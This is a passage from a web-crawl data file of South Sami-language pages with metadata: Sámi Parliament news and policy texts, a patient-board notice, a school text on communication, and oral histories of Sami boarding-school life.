laanteburriepolitihke tjïrrehtåvva viehkine bïevnesistie, reereme tsavtsvierhtijste jïh voenges sjïehtedamme råajvarimmijste.\n- Dah tjïelth leah tjåadtjoehtæjjah goh voesteslinjedïenesje laantebårran\n- Dah båantasiebrieh Norges Bondelag jïh Norsk Bonde-og Småbrukerlag leah rååresjimmieguejmieh Staatine dan fïerhten jaepien jåartaburrielatjkoen bïjre. Latjkoe jåartaburrien mierietsiehkide sjïehtede.\nSametinget jobber for å bevare og utvikle jordbruk som en viktig kulturbærer og sysselsetter.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.saemiedigkie.no\/Jielemh\/Jaaartaburrie","date":"2013-05-22T23:02:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702454815\/warc\/CC-MAIN-20130516110734-00043-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999690056,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999690055847168}","num_words":216,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieNybakk Gaskim gaavnesji\nStoerredigkien 1. mubpiepresidente Marit Nybakk lij guessine Saemiedigkesne daan biejjien goh voestes aejkien. Saemiedigkien stoerretjåanghkoen åvtehke Jørn Are Gaski Nybakkem dåastoeji, jïh ektesne dah aktem åenehks bïevnesem utnigan preessese dan parlamentarihkeles laavenjostoen bïjre Saemiedigkien jïh Stoerredigkien gaskem.\n-\nSaernieOv-vyörtegs jïh histovrijenamhtah båatsoen bïjre Finnmarhkesne\nSaemiedigkieraerie Thomas Åhrén gåavvarostoe dejstie illedahkijste mah vååjnesasse båetieh daan beajjetje mïelemöölemisnie veanhtoej bïjre båatsose Finnmarhkesne. - Såemies daelie veeljemegæmhpoem nuhtjie juktie aktem aktelaaketje vuajnoem sjugniedidh mij jeahta båatsoe lea dïhte mij evtiedimmiem fylhkesne heerrede. Daate ov-vyörtegs jïh histovrijenamhtah.\n-\nSaernieEN etnihkeles sïerredimmiem Nöörjesne goerehte\nGuktie tsiehkie lea saemide Nöörjesne lea akte dejstie aamhtesijstie mïsse sjïerelaakan vuartesje gosse EN:n raasesïerredimmiemoenehtse (CERD) edtja Nöörjem byjrehtidh mïetsken 17.-18.b. Genevesne. Dellie staate tjuara vaestiedidh guktie barkeme j...\n-\nSaernieMátkkoštit mearrasámi gierdomátkkis miehtá Finnmárkku rittu\nSámediggeráđđi mátkkošta 33. Vahkus (borgemánu 10-14 b.) Finnmárkku mearrasámi giliin háhkan dihtii oaiviliid Sámedikki mearrasámi strategiijii. Sámedikki presideanta Aili Keskitalo lea ieš mielde muhtun osiin mátkkis.\n-\nSaernieLihkku máilmmi eamiálbmotbeaivái\nOdne, borgemánu 9.beaivvi ávvudat mii ON riikkaidgaskasaš eamiálbmotbeaivvi. Máilmmi eamiálbmotbeaivi dohkkehuvvui 1994:s ON váldočoahkkimis, ja beivviin čalmmustuvvo ON eamiálbmotbargojoavkku vuosttaš čoahkkin , mii dollojuvvui 1982:s.\n-\nSaernieDoarju nuorra entreprenevrraid\nSámediggeráđđi juolluda 350 duhát ruvnno nuorra entreprenevrraide, Ungt Entreprenørskap Finnmark AS:ii, bargat ealáhushutkamiin skuvllain sámi suohkaniin Finnmárkkus.\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2015-35","url":"http:\/\/www.saemiedigkie.no\/","date":"2015-08-30T01:29:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-35\/segments\/1440644064865.49\/warc\/CC-MAIN-20150827025424-00211-ip-10-171-96-226.ec2.internal.warc.gz","language":"sma","language_score":0.9848909378,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9848909378051758, \"sme_Latn_score\": 0.01502272579818964}","num_words":265,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis ih leah fuakedh gosse govlehtallh:\n- Laantedigkien healsoe- jïh skïemtjehåksojne\n- Baeniehåksojne\n- Tjïelten healsoe- jïh skïemtjehåksojne\n- Privaate hoksedæjjajgujmie latjkoej bïjre\nJallh jis dov lea jeatjah åssjelmesh håksoen bïjre?\nEvtemes åejvine gïen lea dïedte govlehtallh.\nAaj maahtah rïekte Håksoedåastojemoenehtsasse govlehtalledh. Håksoedåastojemoenehtse lea frïjje, ålkoli sjïehtedimmie man njoelkedassh laaken tjïrrh nænnoestamme. Mijjieh datnem viehkiehtibie dej dov tjoeperdimmiej gujmie, dejnie dov hoksedæjjine govlehtalledh. Dutnjien bievnebe dov reaktoej bïjre håksoedåastojinie\nIbie dejtie tjoeperdimmide datneste lutnjebe juktie datne leah meatan gosse ieriem goerehte. Dov tjoeperdimmieh maahtah vuesiehtidh guktie maahtoejgujmie, organisasjovnine jïh dagkarinie bueriebuktie barkedh. Mijjen politihken moenehtsasse tjoeperdimmiem vihtiestibie jïh eah desnie åadtjoeh daejredh gie dïhte tjoeperdimmien bïjre beavneme.\nMijjieh bievnebe\n- Håksoedåastojetjirkemen bïjre\n- Daalhkesetjirkemen bïjre\n- Socialeståvroen bïjre\n- Jeatjah åajvaladtjh jïh åårdnegh\nHåksoedåastojemoenehtse klaahkah håksoedåastojidie nammohte gïeh psykiatriske håksoem laaken mietie dööpmesovveme.\nHåksoedåastojemoenehtsen saadthalmetjh jïh barkijh sjeavohthvoetesne berkieh.\nJis sïjhth maam gihtjedh, govlehtallh mijjine! Soptsesth guktie dov nomme jïh tellefovnenommerem gusnie datnem jaksebe.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.ltdalarna.se\/Om-webbplatsen\/Other-languages\/Saemiensamiska\/Haksoedaastojemoenehtse--Patientnamnden\/","date":"2016-09-30T23:59:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662430.97\/warc\/CC-MAIN-20160924173742-00273-ip-10-143-35-109.ec2.internal.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":146,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goltelidh jïh soptsestidh\nGoltelidh\nVihkeles mijjieh eensilaakan goltelibie maam mubpieh almetjh jiehtieh. Datne tjoerh eejnegen vuarjasjidh maam mubpieh jiehtieh, jïh dovne guktie dam jiehtieh. Magkerh baakoeh nuhtjieh? Edtjh datne vaestiedidh, dejgujmie digkiedidh, jallh ajve vuarjasjidh maam jiehtieh? Jallh kaanne dah vaajestieh? Mejtie datne gaajhkem guarkah, kaanne dah ammes jallh geerve baakoeh nuhtjieh juktie datne ih guarkah? Faahketji datne tjoerh njaalmeldh mubpiejgujmie laavenjostedh jïh dov åssjalommesh dejtie buektedh. Guktie datne dellie gïelem nuhtjh?\nSoptsestidh\nMijjieh njaalmeldh gïelem ovmessie tsiehkine nuhtjebe. Gåessie edtjebe voelpigujmie jallh fuelhkine joekehtslaakan soptsestidh, tjåanghkosne jallh Saemiedigkesne håalodh, maam joem åehpiedehtedh j.n.v. Faahketji tjoerebe mubpiejgujmie njaalmeldh laavenjostedh jïh dellie vihkeles sinsitniem guarkadidh. Mijjieh sïjhtebe daajroem, åssjaldahkh jïh åssjalommesh tjïelkelaakan mubpide buektedh dellie tjoerebe jeereldihkie baakoejgujmie ovmessie tsiehkine nuhtjedh. Byjjes digkiedimmie sjïere hammosne. Baakoe-stuvrije digkiedimmiem stuvrie jïh jeahta gïen våaroe soptsestidh jïh gåessie dïhte åådtje soptsestidh. Jis baakoem sïjhth, tjoerh gïetem lutnjedh jïh dellie baakoe-stuvrije dov nommem læstose tjaala. Jis sïjhth maam akt tjïelkesidh, dellie göökte soermh lutnjedh. Dellie vuesehth replihkem sïjhth jïh dellie åadtjoeh åenehkslaakan dam tjïelkesidh jallh lahtestidh.\nDigkiedidh\nJis galka digkiedidh dellie naan njoelkedassh: Datne byörh åenehks- jïh tjïelkelaakan soptsestidh. Datne byörh ryöjredidh guktie dov vuajnoeh leah daajroen\/faktan våaroemisnie. Edtjh eensi jïh tjïelkelaakan digkiedidh. Datne tjoerh buerkiestidh man gaavhtan datne naemhtie ussjedh.\nGolme gyhtjelassh leah vihkeles: Maam edtjh soptsestidh? Guktie sïjhth dam jiehtedh? Jïh man gaavhtan dov vuajnoeh vihkeles?\n- Maam datne sïjhth soptsestidh, dïhte daajroen våaroemisnie.\n- Man gaavhtan\/mannasinie datne naemhtie ussjedh, dïhte lea dov vierhtiej våaroemisnie.\n- Guktie datne sïjhth dam jiehtedh? Dïhte lea håalometeknihken våaroemisnie.\nGovlesadteme-tsiehkieh\nAkte govlesadteme-tsiehkie lea gosse bïevnese-straejmie ajve akten otnjegasse jåhta jïh dïhte dåastoje ij maehtieh vaestiedidh. Dagkerh vuekieh leah: byjjes tjaalegh, lohkemeprievieh jallh artihkelh. Mubpie govlesadteme-tsiehkie lea gåessie maehtebe sinsitniem vaestiedidh, sinsitnine digkiedidh jallh gihtjedidh. Dagkarinie tsiehkine maehtebe goerehtidh, bïhkedidh jïh soptsestidh mubpien almetjen reaksjovni mietie. Gåalmeden govlesadteme-tsiehkie lea gosse seedtije gellie lohkijidie, goltelæjjide jallh vuartasjæjjide soptseste jallh tjaala. Dagkerh medijumh leah: gærjah, plaerieh, radijove jallh TV:e, dellie dam gåhtjobe veljies-govlesadteminie.\nbïevnese-straejmie\nnyhetsstrøm\nveljies-govlesadteme\nmassekommunikasjon","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/163195?fag=126960","date":"2017-03-30T04:50:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00328-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":324,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Davvisámegillii På norsk\nTjaalege gærjeste Saemien skuvle-vaajese 1. Davvi Girji 2005.\nJonar Thomasson, Raavrvijhkesne 2003\n|Jonar Thomasson lea Vualtjerisne (Vilheminesne) reakasovveme (åarjelh-saemien dajve Sveerjen raedtesne) jaepien 1947 jih Raavrvijhkesne, Noerhte-Trøndelagesne, byjjesovveme. Daesnie byjjesovvemen bijre sopteste jih aaj guktie saemien skuvlesne Aarbortesne vaedtsedh jih aaj Saemien ålmehjilleskuvlesne Karasjokesne.|\nDaelie lea Jonare Vektarlien gaertienisnie årroeminie. Dihte gaertene lea naan kilovmeter Raavrvijhken jarngen noerhtelen. Vektarlia lea Vuakteren bealesne, akte dejstie njielje jaevrijste dennie tjieltesne mejtie leah deememe. Jonare lea elektrikere jih altese barkoe lea faamoesijjesne.\nDaennie tjaalegisnie lea dovne Jonare jijtje altese mojhtsh tjaaleme jih aaj lissine Svein Lundese soptsestamme.\nIdtjim manne man jijnjem maehtieh daaroestidh goh skuvlesne jaepien 1954 eelkim. Manne lim saemien byjrekisne orreme jih skuvlesne lij gaajhke daaroen jalhts skuvle lij saemide. Læjhkan hijven gåaredi juktie dan aavrehke lim voestes klaassesne åarjelh-saemien lohkehtæjjam åadtjodh. Dihte munnjien saemien gielese jarkoesti gosse vøøjni manne idtjim guarkah.\nMov tjidtjie lij Raavrvijhkeste jih aehtjie Sveerjeste. Manne Sveerjesne reakadim jih aarvoe lij desnie årrodh. Mohte gosse lim jallan akten jaepien båeries, dellie mov tjidtj`aajja, Jonas Marsfjell, Dunderlandsdalesne ovlæhkosne batnani, jaepien 1948.\nAerebi goh skuvlesne eelkim lim ajve båeries saemiej ektine guhth ajve saemiestin. Gåetie-iemede Aarbortesne mov tjædtjan jeehti: \"Tjoeverh gujht maanese daaroengielem lieredh aerebi goh skuvlese guktie disse ij dan geerve sjidth.\" Im mujhtieh maam tjidtjie vaestedi, mohte aervedem idtji dam seatedh.\nGuktie lij, idtjim man jijnjem daaroen gieleste maehtieh goh skuvlesne eelkim jaepien 1954. Eeremes måjhtam voestes iehkedem. Niejte Raavrvijhkeste gie lij joe desnie gøøkte jaepieh aerebi vaadtseme, lij munnjien soptsestamme edtjim hotellesne årrodh. Novh sån lij dihte satna. Gåetie lij bigkesovveme gosse dåaroe, edtji sjiehtedh goh offiserskasernine tyskeridie. Dåaroen mænngan hotelline sjidti jih nimhtie aaj giesegi.\nGellie learohkh lin Raavrvijhkeste, dovne mov åabpa jih aaj jeatjebh mov sliektiste. Nimhtie ij lij munnjien aeveren nåake internatesne årrodh. Dan aavrehke lim juktie Ealla Jomam (mænngan Ella Holm Bull) åadtjoejim lohkehtæjjine voestes klaassesne. Dihte lij aadtjegh lohkehtæjja-skuvlem vaadtseme. Dihte munnjien saemien gielese jarkoesti jih buerkesti jis aajhtsi manne idtjim maam joem guarkah. Mohte dam åadtjoejim ajve aktem jaepiem utnedh. Buerebe jis dejnie jienebh jaepieh ektesne. Dan mænngan ajve lohkehtæjjah mah daaroestin abpe mov skuvle-vaedtsemem.\n|Gaske-biejjie internatesne. Gåetie-iemede Maja Staven åelkies-bielesne. |\n(Guvvie: Sigrid Bergli Sørnes)\nSkuvle-jaepie lij govhte askh, jih ij limh gåetesne mearan skuvlesne. Buerie mojhtese daehtie tijjeste lij tjaktjegen gosse paagke gåeteste bøøti gusnie daelvie-vaarjoeh, gaallohkh jih suejnieh. Dellie dervie-hopse internatesne jih dihte eevre goh såemies gåetie-tryjje sjidti.\nDej gøøkte voestes jaepiej mijjieh ajve moeri jih koksigujmie mijjen tjiehtjelidie baahkedimh. Learohkh jijtje tjoeverin moerh tjiehtjielasse guedtedh jih dejtie desnie såarhkodh. Tjoeverimh aaj nimhtie dållem geehtedh olles jamhka. Naan aejkien jis dålle lij jamhkeme, dellie tjoeverimh dållem jeatja tjiehtjielistie løønedh jih dellie beassetje meatan. Novh sån naan aejkien fagkan bijvele sjidti, mohte hijven gåaredi juktie vaane limh moerigujmie gåetesne båeltiehtidh. Mænngan orrejimh moerigujmie jih jeatja baahkedimmie el-njuvvine sjidti.\nJaepiej mænngan aaj fealadimmie dennie voenesne sjidti. Mijjieh gaavnimh gellie slaahtjan bijlh geajnoej mietie. Dejstie jorpe \"lovrh\" veeltimh jih nietide vedtiejimh jih dah dejgujmie tjovnedin. Laavvadahke-iehkedi gaajhksh dovnesh gievlesne guelpesne daanhtsoejimh. Dellie lin lohkehtæjjah, sjovnh jih naan aejkien aaj rektovre jih gåetie-iemede meatan. Gosse nimhtie ektesne maam joem darjoeminie, dellie eevre goh limh stoerre fuelhkie.\nGijrege juelkie-tjengkerem tjiektjimh. Dah geerve almetjh guhth meatan, sjiere vaarjoeh provhkin. Maanaj ij dagkeres vaarjoeh. Dellie måjhtajimh åereme-vaarjojde meehtimh provhkedh. Dejtie tseegkimh gosse vihth tjengkerem tjiektjedh. Rektovre mijjem aajhtsi dej vaarjoejgujmie jih dihte dallah mijjem gåatan stilli dejtie noelestidh.\nManne måjhtam jåvli åvtelen mijjieh voenese sedtesovvim edtjimh \"Samenes venn\" doekedh. Naaken gujht øøstin, mohte jeatjebh idtjin mijjen doekemem seatedh gænnah. Mijjieh limh voenen maanijste billeminie jih daate lij nimhtie guktie lim vaajtelamme ij dihte deahpadamme.\nGellie saemieh skuvlese guessine bøøtin, jih miejjieh learohkh utniejimh dihte luste.\nDihte lij jupmeles skuvle jih desnie striengkies byjrese, mohte munnjien lij aelhkie desnie jieledh. Paul Ryan lij rektovre jih saemien byjrese lij joekoen vihkeles disse. Desnie åadtjoejimh saemien kultuvren jih aaj saemien vætnoen bijre lieredh j.n.v. Såemies tijjen lin gellie åarjelh-saemien learohkh desnie, jijnjemes tjijhtje ektesne. Almetjh Karasjokesne idtjin daejrieh maam åarjelh-saemiej bijre, idtjin maahte sijhth daejredh saemieh dan guhkene åarjesne jielieminie. Naaken vienhtin mijjieh limh russerh. Læjhkan buerie sjidti mijjen jih dej noeri gaskems guhth lin voenesne årroeminie.\nFaaleldahke mijjese bøøti åadtjodh noerhte-saemien lieredh, mohte ij lim manne desnie meatan. Mænngan leam saangerdamme juktie idjim dam faaleldahkem dåastoeh. Mijjieh saemieh åarjede saemien lidteratuvrem lohkimh mearan doh jeatjebh noerhte-saemien.\n|Jonare learohke DSF-esne|\n(Guvvie: Hans Lindkjølen)\nDSF-en mænngan kuvsjem veedtsim mij lij sjiehteles geerve almetjidie mah edtjin saelhtesne barkedh. Dan mænngan Hurtigrutesne bielie jaepiem giehtelim. Dan mænngan jis ysteriesne barkim aerebi goh akten entrepenørfirmaesne eelkim. Mohte tjåetskeme nimhtie barkedh goh bigkeme-ålma guktie eajhnadovvim barkoem gåetesne ohtsedh. Ohtsim barkoeskuvlem jih elektrikerinie sjidtim. Jih dejnie barkojne leam giehtelamme jaepeste 1975. Voestegh luhkie gaektsie jaepieh gruvan industriesne barkim aerebi goh faamoebransjesne eelkim.\nNaan båeries saemieh Raavrvijhkesne guhth leah gielem noerebaeleste liereme, leah ennje væjkeles soptsestidh, mohte eah leah man gallesh, eevre goh dejtie maahta aktene gietesne ryøknedh. Dåeriesmoere lea juktie saemieh eah vielie Raavrvijhkesne gielen provhkh. Sjiere baakoeh mah leah båetsoebårran veadtaldihkie leah ennje provhkemisnie. Nimhtie lea abpe åarjelh-saemien dajvesne. Gåarede gujht rontestalledh mannasinie nimhtie, mohte vaestiedassem geerve gaavnedh. Mov mielen mietie lea tsagkese dihte juktie reeremeåejvieh idtjin luhpiem vedtieh skuvlesne gielem øøhpehtidh. Nimhtie idtji giele øøvtiedæmman jih vaarjelæmman båetieh mearan giele ennje lij fierhten-beajjetje giele åarjelh-saemien dajvesne. Dah båeries saemieh lin maahteme meatan årrodh jih nimhtie viehkine gielem lutnjedh dan daltese gusnie daelie daerpies.\nJis edtjh daelie daaroen-gieleste loevenidh, dellie maahte tjoverh voessine rudtjesne vaaran vuelkedh jih desnie saemiestidh. Åarjelh-saemien giele daelie kuvsjine, liturgiske dahkojne jih bøønine provhkesåvva. Hijven juktie naaken noerh leah girvene gielem lieredh, kuvsjh vaedtsedh jih voejhkelieh gielem nuhtjedh gosse nuepie.\nDaelie naaken voejhkeli gielem bååstide doerelidh, mohte ij dihte sjidth goh aerebi. Åarjelh-saemien syntakse jih melodie leah gaarveneminie juktie daaroen-giele dan veaksehke guktie dam viesjehts gielem diedtele.\nVaenie dejstie åarjelh-saemien dialektijste leah tjaalasovveme. Nøørjesne leah ajve Røros-saemiej jih Vaaptsen-saemiej dialekte giehtjedæmman båateme, Vaaptsen jaepien 1920 jih Rørosesne jaepien 1940. Daate Nåamesjen jarnge lij saemien voernges dajve, mohte læjhkan sjidti goh veelkes daarhve kaarhtesne. Idtji daase naan geajnoeh juhtieh guktie idtji naan giele-giehtjedæjja vissjh dieke vuelkedh. Jaepiej gaskems 50-60 naaken bøøtin sijhtin båeries saemiej vaajesh baanhtese tjøønghkedh jih aaj dajvi nommh paehpierasse tjaeledh. Daate lij buerie råajvarimme, mohte fagkan seenhte bøøtin.\nMohte ibie edtjh ajve jeatjabidie skultedh gosse gieline nimhtie. Ibie leah jijtje væjkeles orreme dejtie noeride gielem leerehtidh. Manne mov gaavhtan soptsestem jih jijtje-laejhtemem guadtam.\nDah båarasommes saemiej årromesijjieh gaatoelin gosse orre laantem provhkese veeltin alkoelisnie jaepien 1800. Daam saemiej njaalmeld soptsestimmieh buakta. Nimhtie dam daate barkoe mijjese vihkeles sjidti. Tjoeverimh gorredidh dejtie saemiej mojhtsidie mah ennje gååvnesin jih dam tjoeverimh jijtje darjodh. Fuehpie aaj sjidti juktie daerpies dagkarinie barkojne giehtelidh mearan naaken dejstie båeries almetjijstie gååvnesin guhth maahtojne jieleminie. Saemien Sijte, Snåasesne sijhti mijjen ektine barkedh, jih provsjekte mij edtji saemiej kultuvremojhtsidie Raavrvijhken- jih Nåamesjen tjieltesne vaarjelidh, juhtiehtasse bøøti. Aerebi goh eelkimh, manne båeries saemiej- jih laedtiejgujmie soptsestim. Dej båeries almetji lin stoerre maahtoe saemiej kultuvremojhtsi bijre. Aaj jienebh dagkeres mojhtsh gååvnesin ennh mijjieh alkoelistie aerviedimh.\nMænngan, medtie 1980, Saemien Sijte stuerebe provsjektem øørni mij abpe åarjelh-saemien dajvem dijpi. Saemieh mah dajvide eensi laakan damtin, diedtem fiere-guhte båatsoeburrie-dajvese åadtjoejin. Mov diedte lij Luvlie-Njåamesjen båatsoeburrie-dajve. Barkoe juhtieji 4-5 våhkoeh 3-4 jaepieh. Daate lij joekoen vihkeles barkoe. Nimhtie meehtimh vihtesjidh gusnie saemiej årromesijjieh ovmese dajvine. Dihte vihties gosse edtjibie digkiedidh laanten- jih tjaetsiereaktan bijre. Buerie mijjese daejredh gusnie saemieh aerebi jieleme, jih dihte maahtoe eevre goh mijjen jijtsistie guvviem buerebe dorje. Ij lij ajve mierhkesjimmie dejstie sjiere aatijste vihkeles, mohte aaj buerie åadtjodh jienebem daejredh mojhtsi bijre jih aaj maahtoem almetji bijre gieh lin desnie jieleminie. Vihkeles lea aaj kontinuitetem giehtjedidh dej ovmese kultuvremojhtsi måedtie såartsh- tjiertijste, låångkegh gierkie-tijjeste jih mijjen daaletje tijjese.\nJeatjah tjaalegh gærjeste Saemien skuvle-vaajese 1","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/skuvla.info\/skolehist\/jonar-s.htm","date":"2017-06-24T22:36:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320362.97\/warc\/CC-MAIN-20170624221310-20170625001310-00004.warc.gz","language":"sma","language_score":0.9999830723,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999830722808838}","num_words":1256,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Davvisámegillii På norsk In English\nTjaalege gærjeste Saemien skuvle-vaajese 1. Davvi Girji 2005.\nSvein Lund Ebba Westerfjelline jih Sofie Kappfjelline soptsesti Maajh-jaevresne 2003\n\n\nMaajhjaevresne, Åarjel-Noerhtelaantesne lægan åabpetje guaktah årroeminie. Gåabpatjahkh lægan saemien skuvlesne, Havikesne vaadtseme, jih aaj saemien skuvlesne Aarbortesne barkeme. Læjhkan lægan dej guaktaj ovmese dååjrehtsh skuvlen gaavhtan.|\nSofie Kappfjell lea jaepien 1921 reakasovveme jih abpe skuvletijjen Havikesne vaadtseme, 1928-35.\nEbba Westerfjell, uktsie jaepien nuerebe, ajve aktem jaepiem Havikesne veedtsi aerebi goh dåaroe. Mænngan Maajhjaevresne voenen skuvlesne veedtsi. Ektesne leam dej åabpajgujmie soptsestamme.\n- Gosse gaajhke daaroen gielesne juhtieji, man jijnjem datne guarkajih?\n- Naakenem daaroen gieleste guarkajim goh skuvlesne eelkim, mohte jeatjebh lin væjkalåbpoe. Naan aejkien lohkehtæjjah meehtin naemhtie jiehtedh: \"Dohte væjkalåbpoe juktie daaroen giele veaksakåbpoe gåetesne.\" Dellie ussjedim man gaavhtan idtji saemien giele voestes sæjjan båetieh. Nimhtie dellie jijtje tsyøgkestallim. Naaken dejstie maanijste lin madtan daaroen gielese jih nimhtie dihte dåeries-moere dejtie sjidti.\n\n\nMaajh-jaevrie lea sijjie gusnie åarjelh-saemie gaavnedamme. Saemien-misjovne desnie tjåangkoeh øørnieh gellie jaepieh guektien aejkien jaepesne. Daate guvvie lea tjåangkoste 1930.\n\n\n(Guvvie: Samenes venn \/Rogstad: Streif i sør-samenes saga)\n- Mij lij dihte verremes dåeries-moere, lohkehtæjjah jallh dah jeatjah learohkh?\n- Dah learohkh hov dah. Idtjim hov sijhth man bijre lohkehtæjjide klååkedh. Eah hov lin dah ålkine gænnah guktie vøøjnin mij deahpedi. Måjhtam akten aejkien lin mijjien gyhtjelassh daaroen gieleste. Dellie lohkehtæjja klaassese jeehti: \"Stoerre skaamoe lea. Ebba saemien gielem gåetesne soptseste mohte dihte væjkalåbpoe daaroen gielesne dijjeste.\" Ij lij dam bøøreme jiehtedh. Dihte liegkese dan ålvas nåake munnjien sjidti. Idtjin gieh mov nommem provhkh, ajve vesties baakoeh. Maam jeehtin dan vesties, guktie im maehtieh dejtie baakojde jiehtedh gænnah.\nGåetesne klååkim. Mov aehtjie moeni dah daaroen almetjh sih sijhtin lieredh gosse naan jaepieh vaaseme. Åadtjoejim guarkedh dah daaroen maanah lin jabjoeh. Akte ålma, ruevtie-raajroen åvtehke, gøøkte niejtigujmie bøøti juhtien. Akte dejstie mov bøøremes voelpetje sjidti. Dan mænngan pleekeme såajmeni.\nNimhtie internaten iemedinie årrodh, ij lij dagkeres barkoe tsåahka 9. raejreste tsåahka 16. raajan. Dovne dygnen bijre lij barkoe, jih dihte aaj løøvles. Mohte åadtjoejim liegkedidh målsohth aejlegi! Goh ij mov naan fuelhkie, dellie internate mov hiejme dej jaepiej sjidti. Mov åssjalommesinie lij aavoe desnie jieledh jih barkedh. Minngemes mov juelkieh dan madtan sjidtin guktie barkosne orrejidh jih trygdem dåastoehtidh. Dan mænngan gåetiem daennie Maajh-jaevresne bigkim.\n|Skuvle orreji ruffien 14.-n biejjien 1962. Gåetie-iemede Sofie Kappfjell gårroe- bielesne tjåadtjoeminie.|\n(Guvvie: Sigrid Bergli Sørnes)\nEbba lea aaj Aarborten saemien skuvlesne barkeme, boelhki gaskems 1970-1980. Dellie lin aalkeme saemien leerehtidh, mohte ajve 1-2 tæjmoeh våhkosne. Voestes gietjeste ligan Lars Børgefjell (Burkien Laara) jih Nils Kappfjell (Gaebpien Næjla) lohkehtæjjah. Ij ligan dah guaktah naan skuvlh vaadtseme jih nimhtie dejtie geerve daejredh guktie edtjigan gielem learohkide vedtedh. Ij lij gænnah saemien naan staatuse goh faage.\nIj leah gujht daelie seamma pleekeme saemien maanide goh mov skuvle-tijjesne. Ij leah daelie vielie skuvle Maajh-jaevresne. Skuvle desnie orreji 5-6 jaepieh daan åvtelen. Saemien maanah destie Troforsesne vaedtsieh jih naan våhkoeh leah aaj dah saemien skuvlesne Aarbortesne gusnie åadtjoeh åarjel-saemien gielen jih kultuvren bijre lieredh.\nÅabpetje guaktah eakan leah joekoen iedtje-burrieh gielen gaavhtan.\n- Manne billem dihte maahta gaarvanidh, Sofie jeahta.\n- Manne lim njoejjesne goh giele skuvlese tjaangi, mohte idtjim gujht maehtieh vuastalidh gosse lin gieline aalkeme.\nAkte dejstie gie gieline eelki barkedh lij Sofien gon Ebban åabpa, Anna Jacobsen (Jaahkenelkien Aanna). Dihte lea lohkehtæjjine orreme jih aaj gærjah åarjelh-saemien gielesne tjaaleme.[1]\n- Vøølki åarjese jih pruvri, mohte bååstide bøøti, soptsestægan. Ij lin man gellie learoe-vierhtieh goh eelki. Dihte ajne baakoe-gærja mij lij åarjelh-saemien gielesne tjaalasovveme lij tyske Lagerkrantzen gærja, mohte Anna tyske gielem lohki jih nimhtie guarkaji mij desnie tjåadtjoeji.\nHijven mijjieh tjaaleld gielem åådtjeme. Dah guhth sijhtieh, maehtieh lieredh. Eah ajve åarjelh-saemieh sijhth mijjen gielem lieredh, mohte aaj almetjh ålkoelistie. Akte Tysklaanteste diekie bøøti jih dovne åarjelh- jih noerhte-saemien gielem lieri.\n[1]\nJeatjah tjaalegh gærjeste Saemien skuvle-vaajese 1","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/skuvla.info\/skolehist\/ebbasofie-s.htm","date":"2017-06-24T22:36:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320362.97\/warc\/CC-MAIN-20170624221310-20170625001310-00020.warc.gz","language":"sma","language_score":0.9999544621,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999544620513916}","num_words":605,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Gïelegaaltije lea 